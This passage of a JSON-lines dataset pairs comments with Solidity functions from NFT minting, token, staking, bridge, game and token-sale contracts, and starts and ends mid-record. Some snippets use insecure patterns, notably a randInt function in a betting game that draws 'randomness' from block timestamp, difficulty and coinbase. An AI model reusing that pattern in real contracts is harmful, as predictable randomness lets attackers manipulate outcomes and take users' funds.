_msgSender() || address(proxyRegistry.proxies(owner())) == _msgSender() \n );\n require(canMint(_optionId), \"Can't mint, out of supply or invalid factory token.\");\n MetavotG1 metavot = MetavotG1(metavotAddress);\n metavot.mintRandomBot(_toAddress);\n }", "version": "0.8.9"} {"comment": "/** TRANSFERS */", "function_code": "function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override notBlackListed(from) {\n if (from != address(0)) {\n uint256 claimableBalanceSender = _claimableBalances[from];\n if (block.timestamp >= deployedTime + lockPeriod && claimableBalanceSender != 0) {\n _burnClaimable(from, claimableBalanceSender);\n _mint(from, claimableBalanceSender);\n }\n }\n\n super._beforeTokenTransfer(from, to, amount);\n }", "version": "0.8.11"} {"comment": "// Multiple Transactions", "function_code": "function transferMulti(address[] _to, uint256[] _value) public returns (bool success) {\r\n require (_value.length==_to.length);\r\n\r\n for(uint256 i = 0; i < _to.length; i++) {\r\n require (balances[msg.sender] >= _value[i]);\r\n require (_to[i] != 0x0);\r\n\r\n super.transfer(_to[i], _value[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/***\r\n Rigister group aff for 1 eth\r\n */", "function_code": "function registerVIP()\r\n isHuman()\r\n public\r\n payable\r\n {\r\n require (msg.value >= registerVIPFee_, \"Your eth is not enough to be group aff\");\r\n // set up our tx event data and determine if player is new or not\r\n F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);\r\n // fetch player id\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n\r\n //is vip already\r\n if(plyr_[_pID].vip) {\r\n revert();\r\n }\r\n\r\n //give myWallet the eth\r\n myWallet.transfer(msg.value);\r\n\r\n //save the info\r\n plyr_[_pID].vip = true;\r\n vipIDs_[vipPlayersCount_] = _pID;\r\n vipPlayersCount_++;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n is round in active?\r\n */", "function_code": "function isRoundActive()\r\n public\r\n view\r\n returns(bool)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n // grab time\r\n uint256 _now = now;\r\n //\u8fc7\u4e86\u4f11\u606f\u65f6\u95f4\uff0c\u5e76\u4e14\u6ca1\u6709\u8d85\u8fc7\u7ec8\u6b62\u65f6\u95f4\u6216\u8d85\u8fc7\u4e86\u7ec8\u6b62\u65f6\u95f4\u6ca1\u6709\u4eba\u8d2d\u4e70\uff0c\u90fd\u7b97\u662f\u6fc0\u6d3b\r\n return _now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n random int\r\n */", "function_code": "function randInt(uint256 _start, uint256 _end, uint256 _nonce)\r\n private\r\n view\r\n returns(uint256)\r\n {\r\n uint256 _range = _end.sub(_start);\r\n uint256 seed = uint256(keccak256(abi.encodePacked(\r\n (block.timestamp).add\r\n (block.difficulty).add\r\n ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add\r\n (block.gaslimit).add\r\n ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add\r\n (block.number),\r\n _nonce\r\n )));\r\n return (_start + seed - ((seed / _range) * _range));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev updates masks for round and player when keys are bought\r\n * @return dust left over\r\n */", "function_code": "function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys, uint256 _eth)\r\n private\r\n returns(uint256)\r\n {\r\n uint256 _oldKeyValue = round_[_rID].mask;\r\n // calc profit per key & round mask based on this buy: (dust goes to pot)\r\n uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);\r\n round_[_rID].mask = _ppt.add(_oldKeyValue);\r\n\r\n //\u66f4\u65b0\u6536\u76ca\uff0c\u8ba1\u7b97\u53ef\u80fd\u7684\u6536\u76ca\u6ea2\u51fa\r\n updateGenVault(_pID, plyr_[_pID].lrnd, _keys, _eth);\r\n\r\n // calculate player earning from their own buy (only based on the keys\r\n // they just bought). & update player earnings mask\r\n// uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);\r\n// _pearn = ((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn);\r\n// plyrRnds_[_pID][_rID].mask = (_pearn).add(plyrRnds_[_pID][_rID].mask);\r\n\r\n plyrRnds_[_pID][_rID].mask = (_oldKeyValue.mul(_keys) / (1000000000000000000)).add(plyrRnds_[_pID][_rID].mask);\r\n\r\n // calculate & return dust\r\n return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice send rewards\r\n * @param stakedToken Stake amount of the user\r\n * @param tokenAddress Reward token address\r\n * @param amount Amount to be transferred as reward\r\n */", "function_code": "function sendToken(address user, address stakedToken,address tokenAddress,uint256 amount) internal {\r\n // Checks\r\n if (tokenAddress != address(0)) {\r\n \r\n require(IERC20(tokenAddress).balanceOf(address(this)) >= amount, \"SEND: Insufficient Balance in Contract\");\r\n \r\n IERC20(tokenAddress).transfer(user, amount);\r\n \r\n emit Claim(\r\n user,\r\n stakedToken,\r\n tokenAddress,\r\n amount,\r\n block.timestamp\r\n );\r\n \r\n }\r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @notice Claim accumulated rewards\r\n * @param stakedAmount Staked amount of the user\r\n */", "function_code": "function claimRewards(address user,uint256 stakeTime, uint256 stakedAmount, address stakedToken, uint256 totalStake) internal {\r\n // Local variables\r\n uint256 interval;\r\n\r\n interval = stakeTime.add(stakeDuration);\r\n \r\n // Interval calculation\r\n if (interval > block.timestamp) {\r\n uint256 endOfProfit = block.timestamp;\r\n interval = endOfProfit.sub(stakeTime);\r\n } else {\r\n uint256 endOfProfit = stakeTime.add(stakeDuration);\r\n interval = endOfProfit.sub(stakeTime);\r\n }\r\n\r\n // Reward calculation\r\n if (interval >= DAYS)\r\n _rewardCalculation(user, stakedAmount, interval, stakedToken, totalStake);\r\n }", "version": "0.7.4"} {"comment": "/**\r\n \t * Bypass to IMarketBehavior.authenticate.\r\n \t * Authenticates the new asset and proves that the Property author is the owner of the asset.\r\n \t */", "function_code": "function authenticate(\r\n\t\taddress _prop,\r\n\t\tstring memory _args1,\r\n\t\tstring memory _args2,\r\n\t\tstring memory _args3,\r\n\t\tstring memory _args4,\r\n\t\tstring memory _args5\r\n\t) public onlyPropertyAuthor(_prop) returns (bool) {\r\n\t\tuint256 len = bytes(_args1).length;\r\n\t\trequire(len > 0, \"id is required\");\r\n\r\n\t\treturn\r\n\t\t\tIMarketBehavior(behavior).authenticate(\r\n\t\t\t\t_prop,\r\n\t\t\t\t_args1,\r\n\t\t\t\t_args2,\r\n\t\t\t\t_args3,\r\n\t\t\t\t_args4,\r\n\t\t\t\t_args5,\r\n\t\t\t\taddress(this)\r\n\t\t\t);\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * A function that will be called back when the asset is successfully authenticated.\r\n \t * There are cases where oracle is required for the authentication process, so the function is used callback style.\r\n \t */", "function_code": "function authenticatedCallback(address _property, bytes32 _idHash)\r\n\t\texternal\r\n\t\treturns (address)\r\n\t{\r\n\t\t/**\r\n\t\t * Validates the sender is the saved IMarketBehavior address.\r\n\t\t */\r\n\t\taddressValidator().validateAddress(msg.sender, behavior);\r\n\t\trequire(enabled, \"market is not enabled\");\r\n\r\n\t\t/**\r\n\t\t * Validates the assets are not double authenticated.\r\n\t\t */\r\n\t\trequire(idMap[_idHash] == false, \"id is duplicated\");\r\n\t\tidMap[_idHash] = true;\r\n\r\n\t\t/**\r\n\t\t * Gets the Property author address.\r\n\t\t */\r\n\t\taddress sender = IProperty(_property).author();\r\n\r\n\t\t/**\r\n\t\t * Publishes a new Metrics contract and associate the Property with the asset.\r\n\t\t */\r\n\t\tIMetricsFactory metricsFactory = IMetricsFactory(\r\n\t\t\tconfig().metricsFactory()\r\n\t\t);\r\n\t\taddress metrics = metricsFactory.create(_property);\r\n\t\tidHashMetricsMap[metrics] = _idHash;\r\n\r\n\t\t/**\r\n\t\t * Burn as a authentication fee.\r\n\t\t */\r\n\t\tuint256 authenticationFee = getAuthenticationFee(_property);\r\n\t\trequire(\r\n\t\t\tDev(config().token()).fee(sender, authenticationFee),\r\n\t\t\t\"dev fee failed\"\r\n\t\t);\r\n\r\n\t\t/**\r\n\t\t * Adds the number of authenticated assets in this Market.\r\n\t\t */\r\n\t\tissuedMetrics = issuedMetrics.add(1);\r\n\t\treturn metrics;\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Release the authenticated asset.\r\n \t */", "function_code": "function deauthenticate(address _metrics)\r\n\t\texternal\r\n\t\tonlyLinkedPropertyAuthor(_metrics)\r\n\t{\r\n\t\t/**\r\n\t\t * Validates the passed Metrics address is authenticated in this Market.\r\n\t\t */\r\n\t\tbytes32 idHash = idHashMetricsMap[_metrics];\r\n\t\trequire(idMap[idHash], \"not authenticated\");\r\n\r\n\t\t/**\r\n\t\t * Removes the authentication status from local variables.\r\n\t\t */\r\n\t\tidMap[idHash] = false;\r\n\t\tidHashMetricsMap[_metrics] = bytes32(0);\r\n\r\n\t\t/**\r\n\t\t * Removes the passed Metrics contract from the Metrics address set.\r\n\t\t */\r\n\t\tIMetricsFactory metricsFactory = IMetricsFactory(\r\n\t\t\tconfig().metricsFactory()\r\n\t\t);\r\n\t\tmetricsFactory.destroy(_metrics);\r\n\r\n\t\t/**\r\n\t\t * Subtracts the number of authenticated assets in this Market.\r\n\t\t */\r\n\t\tissuedMetrics = issuedMetrics.sub(1);\r\n\t}", "version": "0.5.17"} {"comment": "/**\n * @dev Gives a random token to the provided address\n */", "function_code": "function devMintTokensToAddresses(uint8 _tokenBorderId, address[] memory _addresses) external onlyOwner contractIsNotFrozen {\n require(_addresses.length > 0, \"At least one token should be minted\");\n require(getAvailableTokens(_tokenBorderId) >= _addresses.length, \"Not enough tokens available\");\n\n uint16[10] memory tmpAvailableTokens = availableTokens;\n\n for (uint256 i; i < _addresses.length; i++) {\n uint8 tokenTypeIndex = _getRandomNumber(availableTokensIds[_tokenBorderId].length, i);\n\n _mint(_addresses[i], availableTokensIds[_tokenBorderId][tokenTypeIndex], 1, \"\");\n\n tmpAvailableTokens[availableTokensIds[_tokenBorderId][tokenTypeIndex]]--;\n\n if (tmpAvailableTokens[availableTokensIds[_tokenBorderId][tokenTypeIndex]] == 0) {\n availableTokensIds[_tokenBorderId][tokenTypeIndex] = availableTokensIds[_tokenBorderId][availableTokensIds[_tokenBorderId].length - 1];\n availableTokensIds[_tokenBorderId].pop(); \n }\n }\n\n availableTokens = tmpAvailableTokens;\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Set the total amount of tokens\n */", "function_code": "function addSupply(uint8 _tokenType, uint16 _supply) external onlyOwner contractIsNotFrozen {\n require(_tokenType < 10, \"Token type should be between 0 and 9\");\n require(_supply > 0, \"Supply should be greater than 0\");\n\n availableTokens[_tokenType] += _supply;\n\n uint8 tokenBorderType = _tokenType < 5 ? RED_BORDER_TOKEN_ID : WHITE_BORDER_TOKEN_ID;\n\n bool isTokenTypeAvailable = false;\n\n for (uint256 i; i < availableTokensIds[tokenBorderType].length; i++) {\n if (availableTokensIds[tokenBorderType][i] == _tokenType) {\n isTokenTypeAvailable = true;\n break;\n }\n }\n\n if (!isTokenTypeAvailable) {\n availableTokensIds[tokenBorderType].push(_tokenType);\n }\n }", "version": "0.8.9"} {"comment": "/**\n @notice Initiates a transfer using a specified handler contract.\n @notice Only callable when Bridge is not paused.\n @param destinationChainID ID of chain deposit will be bridged to.\n @param resourceID ResourceID used to find address of handler to be used for deposit.\n @param data Additional data to be passed to specified handler.\n @param _auxData Unused parameter, can be used for everything, for example, writing IDs of apps from which the deposit was made.\n @notice Emits {Deposit} event.\n */", "function_code": "function deposit(uint8 destinationChainID, bytes32 resourceID, bytes calldata data, bytes calldata _auxData) external payable whenNotPaused {\n require(msg.value == _fees[destinationChainID], \"Incorrect fee supplied\");\n\n address handler = _resourceIDToHandlerAddress[resourceID];\n require(handler != address(0), \"resourceID not mapped to handler\");\n\n uint64 depositNonce = ++_depositCounts[destinationChainID];\n\n IDepositExecute depositHandler = IDepositExecute(handler);\n depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);\n\n emit Deposit(destinationChainID, resourceID, depositNonce);\n }", "version": "0.6.4"} {"comment": "/**\n @notice When called, {msg.sender} will be marked as voting in favor of proposal.\n @notice Only callable by relayers when Bridge is not paused.\n @param chainID ID of chain deposit originated from.\n @param depositNonce ID of deposited generated by origin Bridge contract.\n @param data data provided when deposit was made.\n @notice Proposal must not have already been passed or executed.\n @notice {msg.sender} must not have already voted on proposal.\n @notice Emits {ProposalEvent} event with status indicating the proposal status.\n @notice Emits {ProposalVote} event.\n */", "function_code": "function voteProposal(uint8 chainID, uint64 depositNonce, bytes32 resourceID, bytes calldata data) external onlyRelayers whenNotPaused {\n address handler = _resourceIDToHandlerAddress[resourceID];\n bytes32 dataHash = keccak256(abi.encodePacked(handler, data));\n\n uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);\n Proposal storage proposal = _proposals[nonceAndID][dataHash];\n\n require(_resourceIDToHandlerAddress[resourceID] != address(0), \"no handler for resourceID\");\n require(uint(proposal._status) <= 1, \"proposal already executed\");\n require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], \"relayer already voted\");\n\n if (uint(proposal._status) == 0) {\n ++_totalProposals;\n _proposals[nonceAndID][dataHash] = Proposal({\n _resourceID : resourceID,\n _dataHash : dataHash,\n _yesVotes : new address[](1),\n _noVotes : new address[](0),\n _status : ProposalStatus.Active,\n _proposedBlock : block.number\n });\n\n proposal._yesVotes[0] = msg.sender;\n emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash);\n } else {\n require(dataHash == proposal._dataHash, \"datahash mismatch\");\n proposal._yesVotes.push(msg.sender);\n }\n \n _hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true;\n emit ProposalVote(chainID, depositNonce, proposal._status, resourceID);\n\n // if _relayerThreshold has been exceeded\n if (proposal._yesVotes.length >= _relayerThreshold) {\n require(dataHash == proposal._dataHash, \"data doesn't match datahash\");\n\n proposal._status = ProposalStatus.Executed;\n\n IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);\n\n depositHandler.executeProposal(proposal._resourceID, data);\n\n emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);\n }\n }", "version": "0.6.4"} {"comment": "/// @notice enable Admin to withdraw remaining assets from EstateSaleWithFee contract\n/// @param to intended recipient of the asset tokens\n/// @param assetIds the assetIds to be transferred\n/// @param values the quantities of the assetIds to be transferred", "function_code": "function withdrawAssets(\n address to,\n uint256[] calldata assetIds,\n uint256[] calldata values\n ) external {\n require(msg.sender == _admin, \"NOT_AUTHORIZED\");\n // require(block.timestamp > _expiryTime, \"SALE_NOT_OVER\"); // removed to recover in case of misconfigured sales\n _asset.safeBatchTransferFrom(address(this), to, assetIds, values, \"\");\n }", "version": "0.6.5"} {"comment": "/// For creating City", "function_code": "function _createCity(string _name, string _country, address _owner, uint256 _price) private {\r\n City memory _city = City({\r\n name: _name,\r\n country: _country\r\n });\r\n uint256 newCityId = cities.push(_city) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newCityId == uint256(uint32(newCityId)));\r\n\r\n CityCreated(newCityId, _name, _country, _owner);\r\n\r\n cityIndexToPrice[newCityId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newCityId);\r\n }", "version": "0.4.19"} {"comment": "// solhint-disable-line no-empty-blocks", "function_code": "function addToken(ERC20 token) public onlyAdmin {\r\n\r\n require(!tokenData[token].listed);\r\n tokenData[token].listed = true;\r\n listedTokens.push(token);\r\n\r\n if (numTokensInCurrentCompactData == 0) {\r\n tokenRatesCompactData.length++; // add new structure\r\n }\r\n\r\n tokenData[token].compactDataArrayIndex = tokenRatesCompactData.length - 1;\r\n tokenData[token].compactDataFieldIndex = numTokensInCurrentCompactData;\r\n\r\n numTokensInCurrentCompactData = (numTokensInCurrentCompactData + 1) % NUM_TOKENS_IN_COMPACT_DATA;\r\n\r\n setGarbageToVolumeRecorder(token);\r\n\r\n setDecimals(token);\r\n }", "version": "0.4.18"} {"comment": "// this function is callable by anyone", "function_code": "function sendFeeToWallet(address wallet, address reserve) public {\r\n uint feeAmount = reserveFeeToWallet[reserve][wallet];\r\n require(feeAmount > 1);\r\n reserveFeeToWallet[reserve][wallet] = 1; // leave 1 twei to avoid spikes in gas fee\r\n require(knc.transferFrom(reserveKNCWallet[reserve], wallet, feeAmount - 1));\r\n\r\n feePayedPerReserve[reserve] += (feeAmount - 1);\r\n SendWalletFees(wallet, reserve, msg.sender);\r\n }", "version": "0.4.18"} {"comment": "/**\n * Calculate minting price based on the age of an original Flowty in the wallet\n * Pricing (per Morphy):\n * 1st Week after initial minting => Free to Mint Morphy\n * 2nd Week after initial minting => mintingPriceTier1\n * 3rd Week after initial minting => mintingPriceTier2\n * 4th Week after initial minting => mintingPriceTier3\n * 5th Week and beyond after initial minting => mintingMaxPrice\n */", "function_code": "function mintPrice(uint256 tokenId) public view returns (uint256) {\n Flowtys flowtys = Flowtys(flowtysContract);\n uint256 startingBlock = flowtys.getAgeStaringBlock(tokenId);\n if (startingBlock <= (lastFlowtyMintedBlock + agingPricingThreshold)) {\n return 0;\n } else if (startingBlock <= (lastFlowtyMintedBlock + agingPricingThreshold * 2)) {\n return mintingPriceTier1;\n } else if (startingBlock <= (lastFlowtyMintedBlock + agingPricingThreshold * 3)) {\n return mintingPriceTier2;\n } else if (startingBlock <= (lastFlowtyMintedBlock + agingPricingThreshold * 4)) {\n return mintingPriceTier3;\n }\n return mintingMaxPrice;\n }", "version": "0.8.7"} {"comment": "/**\n * Calculates the total price to mint given set of Morphys (returns wei)\n */", "function_code": "function getTotalPrice(uint256[] memory tokenIds) public view returns (uint256) {\n uint256 totalPrice = 0;\n for(uint i = 0; i < tokenIds.length; i++) {\n totalPrice = totalPrice + mintPrice(tokenIds[i]);\n }\n return totalPrice;\n }", "version": "0.8.7"} {"comment": "/**\n * Mints Morphy (only allowed if you holding Flowty and corresponding Morphy has not been minted)\n */", "function_code": "function mintMorphy(uint256[] memory tokenIds) public payable {\n require(tokenIds.length <= maxPerMint, \"Minting too much at once is not supported\");\n require(mintingIsActive, \"Minting must be active to mint Morphy\");\n require((totalSupply() + tokenIds.length) <= MAX_MORPHYS, \"Mint would exceed max supply of Morhpys\");\n Flowtys flowtys = Flowtys(flowtysContract);\n for(uint i = 0; i < tokenIds.length; i++) {\n // Allow minting if we are the owner of original Flowty, skip otherwise\n if (flowtys.ownerOf(tokenIds[i]) != msg.sender) {\n require(false, \"Attempt to mint Morphy for non owned Flowty\");\n }\n }\n require(getTotalPrice(tokenIds) == msg.value, \"Ether value sent is not correct\");\n \n for(uint i = 0; i < tokenIds.length; i++) {\n createMorphy(msg.sender, tokenIds[i]);\n }\n }", "version": "0.8.7"} {"comment": "/**\n * Morphing existing Morphys.\n * Changing current baseURI of a token to a new one, that is current Season topic.\n */", "function_code": "function morphSeason(uint256[] memory tokenIds) public payable {\n require(morphingIsActive, \"Morphing must be active to change season\");\n Flowtys flowtys = Flowtys(flowtysContract);\n uint256 totalPrice = 0;\n for(uint i = 0; i < tokenIds.length; i++) {\n // Allow morphing for owner only\n if (ownerOf(tokenIds[i]) != msg.sender || !_exists(tokenIds[i])) {\n require(false, \"Trying to morph non existing/not owned Morphy\");\n }\n // If you own a Flowty that has changed aging to minimum require => Morphing is free\n if (!(flowtys.ownerOf(tokenIds[i]) == msg.sender && flowtys.getAge(tokenIds[i]) >= morhpingAgeThreeshold)) {\n totalPrice = totalPrice + morphingPrice;\n }\n }\n require(totalPrice == msg.value, \"Ether value sent is not correct\");\n\n for(uint i = 0; i < tokenIds.length; i++) {\n _morphysRegistry[tokenIds[i]] = currentSeasonalCollectionURI;\n emit MorphyUpdated(tokenIds[i], currentSeasonalCollectionURI);\n }\n }", "version": "0.8.7"} {"comment": "/**\n * @dev See {ERC721Metadata-tokenURI}.\n */", "function_code": "function tokenURI(uint256 tokenId) public view override returns (string memory) {\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\n\n string memory baseURI = _morphysRegistry[tokenId];\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }", "version": "0.8.7"} {"comment": "// Create the lock within that contract DURING minting", "function_code": "function createLock(uint, uint lockId, bytes memory arguments) external override {\n uint endTime;\n address admin;\n (endTime, admin) = abi.decode(arguments, (uint, address));\n\n // Check that we aren't creating a lock in the past\n require(block.timestamp < endTime, 'E002');\n\n AdminLock memory adminLock = AdminLock(endTime, admin);\n locks[lockId] = adminLock;\n }", "version": "0.8.4"} {"comment": "/// @inheritdoc IPeripheryBatcher", "function_code": "function depositFunds(uint amountIn, address vaultAddress) external override {\n require(tokenAddress[vaultAddress] != address(0), 'Invalid vault address');\n\n require(IERC20(tokenAddress[vaultAddress]).allowance(msg.sender, address(this)) >= amountIn, 'No allowance');\n\n IERC20(tokenAddress[vaultAddress]).safeTransferFrom(msg.sender, address(this), amountIn);\n\n userLedger[vaultAddress][msg.sender] = userLedger[vaultAddress][msg.sender].add(amountIn);\n\n emit Deposit(msg.sender, vaultAddress, amountIn);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Get the vault details from strategy address\n * @param vaultAddress strategy to get manager vault from\n * @return vault, poolFee, token0, token1\n */", "function_code": "function _getVault(address vaultAddress) internal view \n returns (IVault, IUniswapV3Pool, IERC20Metadata, IERC20Metadata) \n {\n \n require(vaultAddress != address(0x0), \"Not a valid vault\");\n\n IVault vault = IVault(vaultAddress);\n IUniswapV3Pool pool = vault.pool();\n\n IERC20Metadata token0 = vault.token0();\n IERC20Metadata token1 = vault.token1();\n\n return (vault, pool, token0, token1);\n }", "version": "0.7.5"} {"comment": "// Internal function for selling, so we can choose to send funds to the controller or not.", "function_code": "function _sell(address add) internal {\r\n IERC20 theContract = IERC20(add);\r\n address[] memory path = new address[](2);\r\n path[0] = add;\r\n path[1] = _router.WETH();\r\n uint256 tokenAmount = theContract.balanceOf(address(this));\r\n theContract.approve(address(_router), tokenAmount);\r\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n tokenAmount,\r\n 0,\r\n path,\r\n address(this),\r\n block.timestamp\r\n );\r\n }", "version": "0.8.4"} {"comment": "/// @notice From owner address sends value to address.", "function_code": "function transfer(address to, uint256 value) public virtual override returns (bool) {\r\n require(value <= _balances[msg.sender]);\r\n require(to != address(0));\r\n\r\n uint256 tokensToBurn = cut(value);\r\n uint256 tokensToTransfer = value.sub(tokensToBurn);\r\n\r\n _balances[msg.sender] = _balances[msg.sender].sub(value);\r\n _balances[to] = _balances[to].add(tokensToTransfer);\r\n\r\n _totalSupply = _totalSupply.sub(tokensToBurn);\r\n\r\n emit Transfer(msg.sender, to, tokensToTransfer);\r\n emit Transfer(msg.sender, address(0), tokensToBurn);\r\n return true;\r\n }", "version": "0.6.10"} {"comment": "/** @notice From address sends value to address.\r\n However, this function can only be performed by a spender \r\n who is entitled to withdraw through the aprove function. \r\n */", "function_code": "function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {\r\n require(value <= _balances[from]);\r\n require(value <= _allowed[from][msg.sender]);\r\n require(to != address(0));\r\n\r\n _balances[from] = _balances[from].sub(value);\r\n\r\n uint256 tokensToBurn = cut(value);\r\n uint256 tokensToTransfer = value.sub(tokensToBurn);\r\n\r\n _balances[to] = _balances[to].add(tokensToTransfer);\r\n _totalSupply = _totalSupply.sub(tokensToBurn);\r\n\r\n _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);\r\n\r\n emit Transfer(from, to, tokensToTransfer);\r\n emit Transfer(from, address(0), tokensToBurn);\r\n\r\n return true;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev player atk the boss\r\n * @param _value number virus for this attack boss\r\n */", "function_code": "function atkBoss(uint256 _value) public disableContract\r\n {\r\n require(bossData[bossRoundNumber].ended == false);\r\n require(bossData[bossRoundNumber].totalDame < bossData[bossRoundNumber].bossHp);\r\n require(players[msg.sender].nextTimeAtk <= now);\r\n\r\n Engineer.subVirus(msg.sender, _value);\r\n \r\n uint256 rate = 50 + randomNumber(msg.sender, now, 60); // 50 - 110%\r\n \r\n uint256 atk = SafeMath.div(SafeMath.mul(_value, rate), 100);\r\n \r\n updateShareETH(msg.sender);\r\n\r\n // update dame\r\n BossData storage b = bossData[bossRoundNumber];\r\n \r\n uint256 currentTotalDame = b.totalDame;\r\n uint256 dame = 0;\r\n if (atk > b.def) {\r\n dame = SafeMath.sub(atk, b.def);\r\n }\r\n\r\n b.totalDame = SafeMath.min(SafeMath.add(currentTotalDame, dame), b.bossHp);\r\n b.playerLastAtk = msg.sender;\r\n\r\n dame = SafeMath.sub(b.totalDame, currentTotalDame);\r\n\r\n // bonus crystals\r\n uint256 crystalsBonus = SafeMath.div(SafeMath.mul(dame, 5), 100);\r\n MiningWar.addCrystal(msg.sender, crystalsBonus);\r\n // update player\r\n PlayerData storage p = players[msg.sender];\r\n\r\n p.nextTimeAtk = now + HALF_TIME_ATK_BOSS;\r\n\r\n if (p.currentBossRoundNumber == bossRoundNumber) {\r\n p.dame = SafeMath.add(p.dame, dame);\r\n } else {\r\n p.currentBossRoundNumber = bossRoundNumber;\r\n p.dame = dame;\r\n }\r\n\r\n bool isLastHit;\r\n if (b.totalDame >= b.bossHp) {\r\n isLastHit = true;\r\n endAtkBoss();\r\n }\r\n \r\n // emit event attack boss\r\n emit eventAttackBoss(b.bossRoundNumber, msg.sender, _value, dame, p.dame, now, isLastHit, crystalsBonus);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev calculate share Eth of player\r\n */", "function_code": "function calculateShareETH(address _addr, uint256 _bossRoundNumber) public view returns(uint256 _share)\r\n {\r\n PlayerData memory p = players[_addr];\r\n BossData memory b = bossData[_bossRoundNumber];\r\n if ( \r\n p.lastBossRoundNumber >= p.currentBossRoundNumber && \r\n p.currentBossRoundNumber != 0 \r\n ) {\r\n _share = 0;\r\n } else {\r\n if (b.totalDame == 0) return 0;\r\n _share = SafeMath.div(SafeMath.mul(SafeMath.mul(b.prizePool, 95), p.dame), SafeMath.mul(b.totalDame, 100)); // prizePool * 95% * playerDame / totalDame \r\n } \r\n if (b.ended == false) _share = 0;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice stake ASG to enter warmup\r\n @param _amount uint\r\n @return bool\r\n */", "function_code": "function stake(uint256 _amount, address _recipient)\r\n external\r\n returns (bool)\r\n {\r\n rebase();\r\n\r\n IERC20(ASG).safeTransferFrom(msg.sender, address(this), _amount);\r\n\r\n Claim memory info = warmupInfo[_recipient];\r\n require(!info.lock, \"Deposits for account are locked\");\r\n\r\n warmupInfo[_recipient] = Claim({\r\n deposit: info.deposit.add(_amount),\r\n gons: info.gons.add(IsASG(sASG).gonsForBalance(_amount)),\r\n expiry: epoch.number.add(warmupPeriod),\r\n lock: false\r\n });\r\n\r\n IERC20(sASG).safeTransfer(warmupContract, _amount);\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Get user infos", "function_code": "function getUserInfos() public view returns (UserInfo[] memory returnData) {\r\n returnData = new UserInfo[](userAddrs.length);\r\n for (uint i=0; i= totalSoldAmount, \"totalSaleAmount >= totalSoldAmount\");\r\n\r\n CoinInfo memory _coinInfo = coinInfo[coinIndex];\r\n IERC20 coin = IERC20(_coinInfo.addr);\r\n\r\n // calculate token amount to be transferred\r\n (uint256 tokenAmount, uint256 coinAmount) = calcTokenAmount(_coinAmount, coinIndex);\r\n uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);\r\n\r\n // if the token amount is less than remaining\r\n if (availableTokenAmount < tokenAmount) {\r\n tokenAmount = availableTokenAmount;\r\n (_coinAmount, coinAmount) = calcCoinAmount(availableTokenAmount, coinIndex);\r\n }\r\n\r\n // validate purchasing\r\n _preValidatePurchase(_msgSender(), tokenAmount, coinAmount, coinIndex);\r\n\r\n // transfer coin and token\r\n coin.transferFrom(_msgSender(), address(this), coinAmount);\r\n xGovToken.transfer(_msgSender(), tokenAmount);\r\n\r\n // transfer coin to treasury\r\n if (treasuryAddress != 0x0000000000000000000000000000000000000000) {\r\n coin.transfer(treasuryAddress, coinAmount);\r\n }\r\n\r\n // update global state\r\n totalCoinAmount = totalCoinAmount.add(_coinAmount);\r\n totalSoldAmount = totalSoldAmount.add(tokenAmount);\r\n \r\n // update purchased token list\r\n UserInfo storage _userInfo = userInfo[_msgSender()];\r\n if (_userInfo.depositedAmount == 0) {\r\n userAddrs.push(_msgSender());\r\n }\r\n _userInfo.depositedAmount = _userInfo.depositedAmount.add(_coinAmount);\r\n _userInfo.purchasedAmount = _userInfo.purchasedAmount.add(tokenAmount);\r\n \r\n emit TokensPurchased(_msgSender(), _coinAmount, tokenAmount);\r\n\r\n xJoyToken _xJoyToken = xJoyToken(address(xGovToken));\r\n _xJoyToken.addPurchaser(_msgSender(), tokenAmount);\r\n }", "version": "0.8.6"} {"comment": "// Calc token amount by coin amount", "function_code": "function calcWithdrawalAmount(address addr) public view returns (uint256) {\r\n require(checkVestingPeriod(), \"This is not vesting period.\");\r\n\r\n uint256 VESTING_START = SALE_START.add(LOCKING_DURATION);\r\n\r\n UserInfo memory _userInfo = userInfo[addr];\r\n uint256 totalAmount = 0;\r\n if (block.timestamp >= 